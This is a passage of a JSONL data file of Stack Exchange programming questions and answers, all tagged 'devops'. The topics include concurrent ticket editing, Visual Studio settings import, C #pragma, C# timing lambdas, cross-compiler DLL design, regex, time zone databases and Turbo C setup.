"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.953925"}
{"id": "hf_308adf1d1454", "question": "<p>User A logs into a ticket management system to edit content on \"SomePage.aspx\"</p>\n\n<p>User B logs in 30 seconds later to edit the same ticket on \"SomePage.aspx\"</p>\n\n<p>What are some of the best known practices(in a 3-tier architecture) for notifying each of the users that someone else is modifying the same content?  </p>\n", "question_body": "", "answer": "In a request/response system like HTTP, there isn't much of a concept of what a user is currently doing. You could notify them that someone else opened the ticket for edit \"within the last two minutes\" (or even prevent them from opening it in such a case) but user A could edit for half an hour - unless you prohibit that as well. You could keep a note of the fact that you believe user A has effectively \"got\" the item for edit, but with a web app there's nothing to stop the user from just walking away from the computer and never either saving/canceling.\nBefore thinking about the technological solutions, I suggest thinking about the technological\nrestrictions\n(the asynchronous and request/response nature of the web, basically) and work out the desired behaviour. Some common behaviours are:\nFirst edit wins (tell second editor that their changes have been rejected, basically)\nSecond edit wins (overwrite first edit - it's too late to tell the first editor)\nMerge (can be insanely difficult and/or impossible, depending on the content). This may be automatic or manual (on the part of the second editor).\nPrevent a second person from editing while you think a first person may be editing (rarely appropriate for web apps due to the issue mentioned in the first paragraph)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.988811"}
{"id": "hf_a6316b4cb5d3", "question": "<p>I recently baselined my machine and installed VS2008 and I am trying to import my settings file: <a href=\"http://naspinski.net/file.axd?file=naspinski.vssettings\" rel=\"nofollow noreferrer\">http://naspinski.net/file.axd?file=naspinski.vssettings</a></p>\n\n<p>I click <strong>Tools->Import</strong> Settings, <strong>select Import selected environment settings</strong> and click on <strong>Next</strong></p>\n\n<p>Next screen I select <strong>No, just import new settings, overwrite my current settings</strong> and click <strong>Next</strong></p>\n\n<p>I browse to my file and click <strong>Open</strong> -or- double-click on the file and it just dumps out... I don't get the option to click <strong>Finished</strong>, it just dumps out?</p>\n\n<p>Any ideas what is wrong?</p>\n", "question_body": "", "answer": "try only importing by section - you should then see which bits seem to be wrong...\nImports fine on my machine. = VS2008 sp1 - there are warnings on\nCommand Window Alises\nExternal Tools\nMight want to check them out.\nWould also suggest changing to Monaco font - easier reading...\nhave a look at\nhttp://www.hanselman.com/blog/VisualStudioProgrammerThemesGallery.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.011698"}
{"id": "hf_bedbc2a7da0e", "question": "<p>This is one of those ajax \"alternate flow\" questions. Normally I expect my ajax request to return a part of the page. But sometimes it may return a full page with html, head and body tag. </p>\n\n<p>At the time I return from my ajax-request I can detect if this is a full page, but is it possible to trigger a full page reload (with full event cycle) based on the string content I have ?</p>\n\n<p>(And yes, I have tried replacing the body element, but that does not give me the events and does not allow me to change the content in the head block)</p>\n\n<p>Any framework reference is ok</p>\n", "question_body": "", "answer": "I don't think it's possible to do directly.\nYou'd be better off saving the HTML somewhere and sending back a URL where it can be retrieved, then using\n```\nlocation.href = ...\n```\n;", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.035982"}
{"id": "hf_4eaae98e5bcd", "question": "<p>can anybody show me how to build a string using checkbox. what would be the best way to do this.</p>\n\n<p>for example i have 4 checkbox's each with its own value (valueA, valueB, valueC, valueD)\nthe thing is i want to display each result in different lines.</p>\n\n<p>result if B &amp; C is selected : </p>\n\n<p>valueB <br>\nvalueC </p>\n\n<p>and how would i display this again if i saved this into a database?</p>\n", "question_body": "", "answer": "```\n```\n\"if I saved this into a database\" ?\n```\n```\nYou'll need to be a bit more specific with your homework assignments if you're actually going to receive any help here ...\nEdit:\nok, it\nmight\nnot be homework but it certainly read like it - after all, manipulating a GUI to generate a view of the user's choices is Interfaces 101 - and even it wasn't it was a terrible question without enough detail to have any chance of getting a decent answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.060997"}
{"id": "hf_87a02a9a0d52", "question": "<p>What are some uses of <code>#pragma</code> in C, with examples?</p>\n", "question_body": "", "answer": "Putting\n```\n#pragma once\n```\nat the top of your header file will ensure that it is only included once. Note that\n```\n#pragma once\n```\nis not standard C99, but supported by most modern compilers.\nAn alternative is to use include guards (e.g.\n```\n#ifndef MY_FILE #define MY_FILE ... #endif /* MY_FILE */\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.085377"}
{"id": "hf_f6f8862bbc79", "question": "<p>After installing asp.net (and aspnet_regIIS.exe -i) the site doesn't accept my default.aspx page. When trying to access it I get a 404.\nWhen hitting directly to my mvc pages (/search.mvc for example) it works like a charm.</p>\n\n<p>We checked the website configuration and noted that there are no .aspx references in the scriptmaps node.</p>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "Probably you are missing the .aspx references in the scriptmaps. SCNR. ;-)\nMore seriously, are they there at the \"Web Sites\" properties level in IIS manager? What is the output you get when running\n```\naspnet_regIIS.exe -i\n```\n?\nMine says:\n```\nC:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727>aspnet_regiis.exe -i\nStart installing ASP.NET (2.0.50727).\n..............................\nFinished installing ASP.NET (2.0.50727).\n\nC:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.133733"}
{"id": "hf_b04d88aceb33", "question": "<p>I'm writing code like this, doing a little quick and dirty timing:</p>\n\n<pre><code>var sw = new Stopwatch();\nsw.Start();\nfor (int i = 0; i &lt; 1000; i++)\n{\n    b = DoStuff(s);\n}\nsw.Stop();\nConsole.WriteLine(sw.ElapsedMilliseconds);\n</code></pre>\n\n<p>Surely there's a way to call this bit of timing code as a fancy-schmancy .NET 3.0 lambda rather than (God forbid) cutting and pasting it a few times and replacing the <strong><code>DoStuff(s)</code></strong> with <strong><code>DoSomethingElse(s)</code></strong>?</p>\n\n<p>I know it can be done as a <code>Delegate</code> but I'm wondering about the lambda way.</p>\n", "question_body": "", "answer": "You could try writing an extension method for whatever class you're using (or any base class).\nI would have the call look like:\n```\n```\nStopwatch sw = MyObject.TimedFor(1000, () => DoStuff(s));\n```\n```\nThen the extension method:\n```\n```\npublic static Stopwatch TimedFor(this DependencyObject source, Int32 loops, Action action)\n{\nvar sw = new Stopwatch();\nsw.Start();\nfor (int i = 0; i < loops; ++i)\n{\n    action.Invoke();\n}\nsw.Stop();\n\nreturn sw;\n}\n```\n```\nAny object deriving from DependencyObject can now call TimedFor(..). The function can easily be adjusted to provide return values via ref params.\n--\nIf you didn't want the functionality to be tied to any class / object you could do something like:\n```\n```\npublic class Timing\n{\n  public static Stopwatch TimedFor(Action action, Int32 loops)\n  {\n    var sw = new Stopwatch();\n    sw.Start();\n    for (int i = 0; i < loops; ++i)\n    {\n      action.Invoke();\n    }\n    sw.Stop();\n\n    return sw;\n  }\n}\n```\n```\nThen you could use it like:\n```\n```\nStopwatch sw = Timing.TimedFor(() => DoStuff(s), 1000);\n```\n```\nFailing that, this answer looks like it has some decent \"generic\" ability:\nWrapping StopWatch timing with a delegate or lambda?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.158576"}
{"id": "hf_917779ecd0bb", "question": "<p>Generate the Fibonacci sequence in the fewest amount of characters possible. Any language is OK, except for one that you define with one operator, <code>f</code>, which prints the Fibonacci numbers.</p>\n\n<p>Starting point: <strong><s>25</s> 14 characters</strong> in <strong>Haskell</strong>:</p>\n\n<p><s>  <code>f=0:1:zipWith(+)f(tail f)</code> </s></p>\n\n<pre><code>f=0:scanl(+)1f\n</code></pre>\n", "question_body": "", "answer": "22 characters with dc:\n```\n```\n1[pdd5**v1++2/lxx]dsxx\n```\n```\nInvoke with either:\n```\ndc -e'1[pdd5**v1++2/lxx]dsxx'\n```\nOr:\n```\necho '1[pdd5**v1++2/lxx]dsxx' | dc\n```\nNote: not my work, poached from\nperlmonks\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.194977"}
{"id": "hf_6b19134a660c", "question": "<p>In VS2005 and up, is it possible to specify which configuration should be selected by default?</p>\n\n<p>I have several configurations in my solution but one of them should be used in most cases. Hence I'd like to make sure that devs who pull it out of Source Control use the right configuration(unless of course they specifically choose another one).</p>\n\n<p>Ideally, this setting should be in the .sln file since that one is under Source Control.</p>\n", "question_body": "", "answer": "I don't know if I understand the complete situation behind your question, but there is a way to \"externalize\" some of VS.Net's project configuration values such as FxCop settings into a separate file. Then you could have all projects in a solution point to that file. However, I don't think it would allow for your devs to chose their own configuration after doing the \"externalization\"\nIf this seems like the right path for you, check out these posts from me in regards to coding standards on how to make similar changes for configuration.\nMy Seattle Code Camp Presentation on Coding Standards and Code Review\nAutomating Standards and Best Practices", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.264987"}
{"id": "hf_fb9ae7b1a105", "question": "<p>I came across an interesting article which shows how we can transparently encrypt jdbc connections using java thin client. </p>\n\n<p><a href=\"http://javasight.wordpress.com/2008/08/29/network-data-encryption-and-integrity-for-thin-jdbc-clients/\" rel=\"nofollow noreferrer\">http://javasight.wordpress.com/2008/08/29/network-data-encryption-and-integrity-for-thin-jdbc-clients/</a></p>\n\n<p>However I want to know how this can be achieved for application servers (like oc4j) datasources.</p>\n", "question_body": "", "answer": "It can be similarly done. I believe on the Oracle AS there is an option at the bottom of the page when you create datasource which says add properties. I believe you can add the following over there and give it a try.\n```\n```\n// Set the Client encryption level  \n\"oracle.net.encryption_client\" = Service.getLevelString(level)  \n\n// Set the Client encryption selected list  \n\"oracle.net.encryption_types_client\"= \"(RC4_40)\"\n\n// Set the Client integrity level  \n\"oracle.net.crypto_checksum_client\"= Service.getLevelString(level)  \n\n// Set the client integrity selected list  \n\"oracle.net.crypto_checksum_types_client\"=\"( MD5 )\"\n```\n```\nIf it works out. Please let us know.\nThanks,\nFranklin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.303984"}
{"id": "hf_acbfdf4178f6", "question": "<p>For instance, winsock libs works great across all versions of the visual studio. But I am having real trouble to provide a consistent binary across all the versions. The dll compiled with VS 2005 won't work when linked to an application written in 2008. I upgraded both 2k5 and 2k8 to SP1, but the results haven't changed much. It works some what ok. But when they include this with a C# app, the C# app gets access violation errors, but with classic C++ application it works fine.</p>\n\n<p>Is there a strategy that I should know when I provide dlls ?</p>\n", "question_body": "", "answer": "First, dont pass anything other than plain old data accross DLL boundries. i.e. structs are fine. classes are not.\nSecond, make sure that ownership is not transferred - i.e. any structs passed accross the dll boundry are never deallocated outside the dll. So, if you dll exports a X* GetX() function, there is a corresponding FreeX(X*) type function ensuring that the same runtime that allocated is responsible for de-allocation.\nNext: Get your DLLs to link to the static runtime. Putting together a project comprimising dls from several 3rd parties, each linked to and expecting different runtimes, potentially different to the runtime expected by the app, is a pain, potentially forcing the installer software to install runtimes for 7.0, 7.1, 8.0 and 9.0 - several of which exist in different service packs which may or may not cause issues. Be kind - statically link your dll projects.\n-- Edit:\nYou cannot export a c++ class directly with this approach. Sharing class definitions between modules means you MUST have a homogeneous runtime environment as different compilers or versions of compilers will generate decorated names differently.\nYou\ncan\nbypass this restriction by exporting your class instead as a COM style interface... which is to say, while you cannot export a class in a runtime independent way, you CAN export an \"interface\", which you can easilly make by declaring a class containing only pure virtual functions...\n```\n```\nstruct IExportedMethods {\n    virtual long __stdcall AMethod(void)=0;\n  };\n  // with the win32 macros:\n  interface IExportedMethods {\n    STDMETHOD_(long,AMethod)(THIS)PURE;\n  };\n```\n```\nIn your class definition, you inherit from this interface:\n```\n```\nclass CMyObject: public IExportedMethods { ...\n```\n```\nYou can export interfaces like this by making C factory methods:\n```\n```\nextern \"C\" __declspec(dllexport) IExportedClass* WINAPI CreateMyExportedObject(){\n    return new CMyObject; \n  }\n```\n```\nThis is a very lightweight way of exporting compiler version and runtime independent class versions. Note that you still cannot delete one of these. You Must include a release function as a member of the dll or the interface. As a member of the interface it could look like this:\n```\n```\ninterface IExportedMethods {\n    STDMETHOD_(void) Release(THIS) PURE; };\n  class CMyObject : public IExportedMethods {\n    STDMETHODIMP_(void) Release(){\n      delete this;\n    }\n  };\n```\n```\nYou can take this idea and run further with it - inherit your interface from IUnknown, implement ref counted AddRef and Release methods as well as the ability to QueryInterface for v2 interfaces or other features. And finally, use DllCreateClassObject as the means to create your object and get the necessary COM registration going. All this is optional however, you can easilly get away with a simple interface definition accessed through a C function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.342494"}
{"id": "hf_2060e8f8b8c9", "question": "<p>How do I multiply the values of a multi-dimensional array with weights and sum up the results into a new array in PHP or in general?</p>\n\n<p>The boring way looks like this:</p>\n\n<pre><code>$weights = array(0.25, 0.4, 0.2, 0.15);\n$values  = array\n           ( \n             array(5,10,15), \n             array(20,25,30), \n             array(35,40,45), \n             array(50,55,60)\n           );\n$result  = array();\n\nfor($i = 0; $i &lt; count($values[0]); ++$i) {\n  $result[$i] = 0;\n  foreach($weights as $index =&gt; $thisWeight)\n    $result[$i] += $thisWeight * $values[$index][$i];\n}\n</code></pre>\n\n<p>Is there a more elegant solution?</p>\n", "question_body": "", "answer": "Hm...\n```\n```\nforeach($values as $index => $ary )\n  $result[$index] = array_sum($ary) * $weights[$index];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.367412"}
{"id": "hf_72c1f8f21ee6", "question": "<p>I want to subclass the built-in DropDownList in ASP.NET so that I can add functionality to it and use it in my pages. I tried doing this with a UserControl but found that it doesn't expose the internal DropDownList (logically, I guess). I've googled for the answer but can't find anything. </p>\n\n<p>I've come as far as writing the actual class, and it's possible to subclass from DropDownList but I'm unable to register the file in my ASP.NET page and use it in the source view. Maybe I'm missing some properties in my class?</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You want to extend DropDownList in a Custom Control... not in a usercontrol.\nCreate a new Class Library Project called MyLibrary.\nAdd a class called MyDropDownList.cs\n```\n```\nnamespace My.Namespace.Controls\n{\n[ToolboxData(\"<{0}:MyDropDownList runat=\\\"server\\\"></{0}:MyDropDownList>\")]\npublic class MyDropDownList: DropDownList\n{\n    // your custom code goes here\n    // e.g.\n    protected override void  RenderContents(HtmlTextWriter writer)\n    {\n        //Your own render code\n    }\n}\n}\n```\n```\nOnce you compile your library, you can add a reference to it in your web application.\nAnd a tagprefix in your web.config\n```\n```\n<add tagPrefix=\"my\" namespace=\"My.Namespace.Controls\" assembly=\"MyLibrary\" />\n```\n```\nThat should allow you to add this to your aspx/ascx's\n```\n```\n<my:MyDropDownList ID=\"myDDl\" runat=\"server\">\n    ...\n</my:MyDropDownList>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.392521"}
{"id": "hf_dcf89552255e", "question": "<p>I have a .rc file which is used to include some text data in my executable, like this:</p>\n\n<pre><code>1234 RCDATA myfile.txt\n</code></pre>\n\n<p>This works fine: the content of the 'myfile.txt' is included in my executable.\nThe problem is that no 0-terminator is added to the string, and I cannot add it to the file. Is there any way of adding a 0-terminator from within the .rc file? Something like this:</p>\n\n<pre><code>1234 RCDATA { myfile.txt, \"\\0\" }         // error RC2104\n</code></pre>\n\n<p>Note that I already found this solution, but I am looking for something more elegant.</p>\n\n<pre><code>1234 RCDATA myfile.txt\n1235 RCDATA { \"\\0\" }\n</code></pre>\n\n<p>Thanks alot,\neli</p>\n", "question_body": "", "answer": "I don't think so, unless you write your own resource compiler.\nI have not meet one which allowed to build one resource from several sources.\nYou may write a small utility to add a trailing '\\0' to a file, say makeZ.exe,\nand set an additional build step:\n```\n```\nmakeZ myfile.txt myfileZ.txt\n```\n```\nIn you .rc there will be\n```\n```\n1234 RCDATA myfileZ.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.429864"}
{"id": "hf_4f9233ddb44e", "question": "<p>Where to read up on (the best-practice in) source code formatting, for individual languages i.e. what are the conventions for naming variables etc., for indentation and where to place braces, how and where to include comments, etc. </p>\n\n<p>For example for C Kernighan and Ritchie's book <a href=\"https://rads.stackoverflow.com/amzn/click/com/0131103628\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">The C Programming Language</a> and Linus Torvalds' <a href=\"http://pantransit.reptiles.org/prog/CodingStyle.html\" rel=\"nofollow noreferrer\">Linux kernel coding style guide</a> or <a href=\"http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml\" rel=\"nofollow noreferrer\">Google's C++ Style Guide</a> and for Perl at least <a href=\"http://www.perl.com/doc/manual/html/pod/perlstyle.html\" rel=\"nofollow noreferrer\">perlstyle - Perl style guide</a>. </p>\n\n<p>Edit: Perhaps I should have asked \"How to get a good start with coding styles\".</p>\n", "question_body": "", "answer": "I wouldn't give too much on such style-guides. They are a good start, but in the end you or your team will develop own coding-styles.\nEDIT: Rob Kam made a comment, that he want to find out more about these 'starting-conventions'.\nThat's a good point. But mostly you will join existing projects, open-source-projects or commercial, and the people working on it already have a code-convention. In a company probably exists already a code convention. If you start a new project, start with the conventions of another project you did before.\nIf you really start a new project with a new language you didn't used before ... then you might start with conventions of another language that is somehow similar (i.e. for a new oo-language you can use conventions from Java or Smalltalk) and adjust your conventions as you gain experience for the new language. As I started programming in Java I used my Pascal-coding-conventions. Some of the pascal-conventions didn't work very good for Java, but with the time I dropped some old conventions and developed new.\nS.Lott had the idea to look into an open-source-project written in the language of your choice. That's a good idea to get some suggestions about good conventions. Srikanth had the good idea to ask for good conventions here at Stackoverflow. A very good idea, because with the time Stackoverflow will become a good reference for coding-conventions this way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.466431"}
{"id": "hf_fe15e0a7cfda", "question": "<p>I'm looking to get data such as Size/Capacity, Serial No, Model No, Heads Sectors, Manufacturer and possibly SMART data.</p>\n", "question_body": "", "answer": "You can use\nWMI\nto get most of the information you want, and there's an introduction to WMI\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.491146"}
{"id": "hf_2b20989040ad", "question": "<p>I'm looking to create an Intellij IDEA language support plugin for Erlang.</p>\n\n<p>The first and biggest problem I've had is in making the JFlex Erlang syntax definition.</p>\n\n<p>Does anyone know where can I get the EBNF or BNF for Erlang?</p>\n", "question_body": "", "answer": "Why not go\nstraight to the source\n?  The\nErlang 4.7 specification\nlists productions in a grammar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.515958"}
{"id": "hf_d249fa8c3185", "question": "<p>Ok: This is some of my table structure that matters here</p>\n\n<pre><code>CaseStudyID int\nTitle nvarchar(50)\nOverrideTitle nvarchar(50)\n</code></pre>\n\n<p>Part of my procedure</p>\n\n<pre><code>Declare @Temp table(CaseStudyID int,\n            Title nvarchar(50))\n\nInsert Into @Temp \nSELECT CaseStudyID,Title \nFROM CaseStudy \nWHERE Visible = 1 AND DisplayOnHomePage = 1 \nORDER BY Title\n\nUpdate @Temp Set Title = TitleOverride \n--Here is where im lost if the title occurs more than once\n--I need to replace it with the override\n--Schoolboy error or leaking brain I cant get it going\n\n\nSelect * From @Temp\n</code></pre>\n\n<p>Can anyone help?</p>\n", "question_body": "", "answer": "You could achieve it without using tempory table this way:\n```\n```\nSELECT \n    MIN(CaseStudyID) AS CaseStudyID, \n    CASE WHEN count(*) = 1 THEN \n       MIN(Title) \n    ELSE\n       MIN(OverrideTitle) \n    END AS Title\nFROM CaseStudy\nGROUP BY Title\nORDER BY Title\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.587145"}
{"id": "hf_9d736f149e7e", "question": "<p>How to set the turbo c path in windows globally so that i can compile and run my C programs (which are in other drives) using command prompt in windows XP?\nCan any one tell me how to get commands at every drive in the command prompt just by typing in    </p>\n\n<pre><code>c:\\tcc  \n</code></pre>\n\n<p>in command prompt in windows and turbo c environment?</p>\n", "question_body": "", "answer": "Go to the Start Menu, then Control Panel.\nChoose the \"System\" applet.\nClick on the \"Advanced\" tab.\nClick on \"Environment Variables\"\nFind the \"Path\" variable, and press \"Edit\"\nAppend a semicolon, then the path to Turbo C\nFor setting the include and library paths, go to the same place, but instead of editing the \"Path\" variable, create a new variable called \"INCLUDE\", and set it to the location of your turboc \"\\include\" directory; and create one called \"LIB\" and one called \"CLASSPATH\", and set them to your turboc \"\\lib\" directory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.636945"}
{"id": "hf_a24cf8cea693", "question": "<p>I was hoping someone could send me in the direction of a regularily updating time zone database.</p>\n\n<p>I have found one, but apologies i cant remember where it was from, however with the current GMT clock change fast approaching, i fear all my data will be incorrect, ie the differences from UK to New Yrok will change from 5 hours behind to 6 hours behind.</p>\n\n<p>Any help on this matter would be much appreciated.</p>\n\n<p>Cameron</p>\n", "question_body": "", "answer": "Do you mean like the\nOlson database\n?\nFor instance, the\nfleegix.js\njavascript library is a timezone-enabled, drop-in replacement for the stock JavaScript Date, giving you full-blown timezone support, independent from the timezone set on the end-user's machine running the browser. It uses the Olson zoneinfo files for its timezone data.\nI believe the\ntime-converter\nuses also such a database, as well as\ntimeanddate.com\n, e.g. for\nLondon\nor\nNew-York\n.\nAny DST information (Daylight Saving times) can be deduced from\ntimeanddate.com\n, but also from\ndaylight-savings-time.info\nHere is a\njavascript program\nthat does exploit DST informations in order to apply the correct time shift.\nAnd also another script for\nSimpleTimeZone\n.\nYou can also query DST data from\nglobal-time-zones.com\n, as in\nwwp.britishsummertime.co.uk\n. You have also informations in\nwebexhibits.org\nSee\nthis forum\nfor a lengthy discussion about how to retrieve DST informations.\nFinally, see that\nSO question\nfor a tar.gz Olson database example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.673082"}
{"id": "hf_f581803af253", "question": "<p><p>How to include any assembly code lines into my C program ?\n<p>In turbo c is there a possibility to add an assembly code file (.asm) to a project of few .c files?</p>\n", "question_body": "", "answer": "One way to include assembly code is to add a wrapper function and write the assembly code in the asm block, as shown in the example below:\n```\n```\nvoid wrapper_function()\n{\n    asm\n    {\n        /* your assembly code */\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.707723"}
{"id": "hf_ba092e26dfec", "question": "<p>Please could someone help me with writing a regex expression to replace 0044 token which will be at the start of the string with a 0. Please note that I do not want to replace all 0044 tokens with 0, only those that appear at the start of the string.</p>\n\n<p>Thanks a lot</p>\n", "question_body": "", "answer": "In perl:\n```\n```\ns/^0044/0/;\n```\n```\nThe\n```\n^\n```\nmeans that the match will only happen at the beginning of the string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.753364"}
{"id": "hf_38073c19d888", "question": "<p>What exactly is the purpose of the 'obj' directory in .NET?</p>\n", "question_body": "", "answer": "The\n\"obj\" folder\nis used to store temporary object files and other files used in order to create the final binary during the compilation process.\nThe\n\"bin\" folder\nis the output folder for complete binaries (assemblies).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.775885"}
{"id": "hf_5b707330ced2", "question": "<p>Does anyone have any T4 example Templates (or links to same) that can be used to generate a Webservice?</p>\n\n<p>I'm thinking of the fact that I guess the Webservice is not just the Vb or Cs field but also requires an appropriate asmx file.</p>\n\n<p>I'm really not sure how to achieve this</p>\n", "question_body": "", "answer": "Oleg Sych: How to generate multiple outputs from single T4 template\n; create another method that generates your asmx - should be pretty simple, as it's one line - and renders it to a file.\nT4 Toolbox\nalso has some methods that are helpful for this.  Oleg Sych's site also has other articles that will guide you through it, particularly these:\nT4 Toolbox\nCreating a complex code generator", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.804631"}
{"id": "hf_63059a0e5415", "question": "<p>Is there a name meaning \"not a singleton\"?</p>\n", "question_body": "", "answer": "Multi-Instance ?\nhttp://elegantcode.com/2008/04/17/the-opposite-of-a-singleton/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.844519"}
{"id": "hf_cfcbf5b5e84a", "question": "<p>How do I get the type of a generic typed class within the class?</p>\n\n<p>An example:</p>\n\n<p>I build a generic typed collection implementing <em>ICollection&lt; T></em>. Within I have methods like </p>\n\n<pre><code>    public void Add(T item){\n        ...\n    }\n\n    public void Add(IEnumerable&lt;T&gt; enumItems){\n        ...\n    }\n</code></pre>\n\n<p>How can I ask within the method for the given type <em>T</em>?</p>\n\n<p>The reason for my question is: If <em>object</em> is used as <em>T</em> the collection uses Add(object item) instead of Add(IEnumerable&lt;object> enumItems) even if the parameter is IEnumerable. So in the first case it would add the whole enumerable collection as one object instead of multiple objects of the enumerable collection.</p>\n\n<p>So i need something like </p>\n\n<pre><code>if (T is object) {\n    // Check for IEnumerable\n}\n</code></pre>\n\n<p>but of course that cannot work in C#. Suggestions?</p>\n\n<p>Thank you very much!</p>\n\n<p>Michael</p>\n", "question_body": "", "answer": "You can use:\n```\ntypeof(T)\n```\n```\n```\nif (typeof(T) == typeof(object) ) {\n    // Check for IEnumerable\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:02.865273"}
